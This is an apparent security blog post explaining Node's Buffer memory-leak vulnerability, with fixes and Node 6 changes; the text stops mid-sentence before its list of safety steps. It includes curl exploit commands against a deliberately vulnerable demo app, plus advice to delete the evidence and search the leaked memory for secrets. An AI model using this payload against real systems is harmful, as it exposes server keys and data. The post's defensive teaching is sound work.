Hidden between the wonders of Node lies a ticking bomb by the name of Buffer. If handled incorrectly, this risky class can easily leak server side memory, and with it your secrets and keys, due to a vulnerability disclosed by Feross Aboukhadijeh and Mathias Buss Madsen. Good and popular projects have tripped over this wire, including npm packages mongoose, ws, request and most recently sequelize introducing wide-spread vulnerabilities.

In this post, we’ll explain how Buffer works, and why does it behave the way it does. We’ll run an exploit against a vulnerable application, to better demonstrate the ramifications. Lastly, we’ll discuss what changes to expect in Node 6, and list 5 steps you can take to protect yourself from Buffer ’s default behavior, and

How did we get here

Client-side JavaScript spares us the need to deal with memory allocation. Like many of its peer languages, in JS the underlying engine (e.g. V8) allocates memory and garbage-collects it as needed, making coding simpler and safer. In the browser, preventing access to memory is also necessary to maintain the sandbox JS runs in.

When JS expanded to the server with Node, the browser sandbox was removed, and the need for easy and fast binary data processing increased. To address these needs, Node introduced the Buffer class, which deals with binary data. Note that ES6 later created additional binary oriented classes, notably TypedArray and ArrayBuffer .

Buffer is a mutable array of binary data, and can be initialized with a string, array or number. Some excerpts from the node.js documentation:

const buf1 = new Buffer([1,2,3]); // creates a buffer containing [01, 02, 03] const buf2 = new Buffer('test'); // creates a buffer containing ASCII bytes [74, 65, 73, 74] const buf3 = new Buffer(10); // creates a buffer of length 10

The first two variants simply create a binary representation of the value it received. The last one, however, pre-allocates a buffer of the specified size, making it a useful, well, buffer, especially when reading data from a stream.

The Security Flaw

When using the number constructor of Buffer , it will allocate the memory, but will not fill it with zeros. Instead, the allocated buffer holds… whatever was in memory at the time.

You can see this behaviour yourself by running Node in a terminal and repeatedly creating a Buffer of a given size, and seeing each one holds different values, as it points to some other portion of previously used memory.

> new Buffer(10) <Buffer 00 20 00 00 00 00 00 00 d0 4d> > new Buffer(10) <Buffer 50 74 84 02 01 00 00 00 0a 00> > new Buffer(10) <Buffer 78 74 84 02 01 00 00 00 05 00>

This is a well documented behaviour, and you can zero the allocated memory simply by calling “buf.fill(0)”. However, if you forget to zero it, you may find yourself leaking memory. Exposing memory doesn’t sound that bad until you consider the number of secrets – keys, source code, system info – that could be exposed. Heartbleed, the massive 2014 OpenSSL vulnerability, was a memory exposure vulnerability.

Demonstrating The Security Risk

To better understand the Buffer vulnerability, lets look at a vulnerable application called Goof. Its code is hosted on GitHub, along with installation instructions if you want to run these exploits yourself.

This is a simple (vulnerable) TODO list app. It uses mongoose to communicate with the MongoDB where the items are stored, using a simple schema:

var Todo = new Schema({ content : Buffer, updated_at : Date });

As you can see, the content field, which holds the actual TODO task, is of type Buffer , allowing it to support binary data. Like many Node.js apps, snyk-demo-todo also exposes a JSON API, which we will use to create an item from the command line:

> curl https://localhost:3001/create --data '{"content":"Buy milk"}' -H "Content-Type: application/json" QnV5IG1pbGs=%

The value of the content variable was passed on to the Buffer constructor, initializing a short string that was then written to the DB. The new item is visible when we browse the application, and is also returned (base64 encoded) in the response:

> echo "QnV5IG1pbGs=%" | base64 -D Buy milk%

Now to the vulnerability exploit. We’ll send the same request, but replace the "Buy Milk" string with a non-quoted 800 number:

curl https://localhost:3001/create --data '{"content":800}' -H "Content-Type: application/json"

Just like before, the value of content is passed to the Buffer constructor. However, this time the value is of type number , triggering the other Buffer constructor… This will initialize the TODO item with 800 bytes of uninitialized memory, stored into the DB. This data will again be visible in the HTML response (albeit binary so hard to read), and returned to our curl after base64 encoding:

# Response to exploit CURL command AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMDKIAQEAAACQMogBAQAAAAAAAAAAAAAAcCKIAQEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANAiiAEBAAAAMCOIAQEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJAjiAEBAAAAAAAAAAAAAADwI4gBAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8BeIAQEAAAAAAAAAAAAAAAAAAAAAAAAA0BaIAQEAAABQGIgBAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+G6IAQEAAAC4AYkBAQAAACgCiQEBAAAAmAKJAQEAAACQA4kBAQAAAAAEiQEBAAAAcASJAQEAAADgBIkBAQAAAFAFiQEBAAAAwAWJAQEAAAAwBokBAQAAAKAGiQEBAAAAEAeJAQEAAACAB4kBAQAAAPAHiQEBAAAAYAiJAQEAAADQCIkBAQAAAEAJiQEBAAAAsAmJAQEAAAAgCokBAQAAAJAKiQEBAAAAAAuJAQEAAABwC4kBAQAAAOALiQEBAAAAUAyJAQEAAADADIkBAQAAADANiQEBAAAAAAAAAAAAAAADAAMAAAAAAIAaaQEBAAAAONEDAwEAAAAAAAAAAAAAADjSAwMBAAAAAgAAAAAAAAAYdQMDAQAAACgpagEBAAAACClqAQEAAAAAAAAAAAAAAMgpagEBAAAAkCpqAQEAAABwKmoBAQAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/////AAAAAAAAAAAAAAAAAAAAAAAAAAA

We can now repeat this call over and over again to get more chunks of memory and base64 decode them. We will likely delete the created notes as we go to avoid suspicion, looking at the data or searching it for patterns like secret , ssh-key , source code and more.

How do we fix it?

In our sample application, the vulnerability was inside the mongoose dependency. Their fix was to convert numbers to arrays, treating it as a single number instead of a length. If you’re using a vulnerable version of mongoose, you should upgrade to a newer version. If you’re not sure if you’re using it, use Snyk to find and fix these and other vulnerabilities.

In case the vulnerability is in your own code, you can either disallow the use of the number constructor (optionally converting it to an array or string), or use the fill(0) function after each time its called. Note that zeroing memory, while efficient, does take some time for bigger buffers, so consider the performance impact this may have on your application.

Upcoming Changes in Node 6

This default behavior of Buffer is concerning, and the cause of multiple known vulnerabilities, but changing it in current versions of Node is hard, as it could break applications. As of Node 6, however, you’re advised to use the explicit alloc and allocUnsafe methods, which will allocate space with and without zeroing respectively. This explicit API can help developers avoid similar mistakes.

The default constructor will still be supported and function the same, though it will be deprecated and discouraged. That said, you can choose to use the --zero-fill-buffers flag to Node (again, only as of Node 6), which will make the default Buffer number constructor zero-fill the allocated buffer.

5 Steps To Stay Safe

Buffer is a useful but dangerous class. If you find yourself considering its use, considering the following: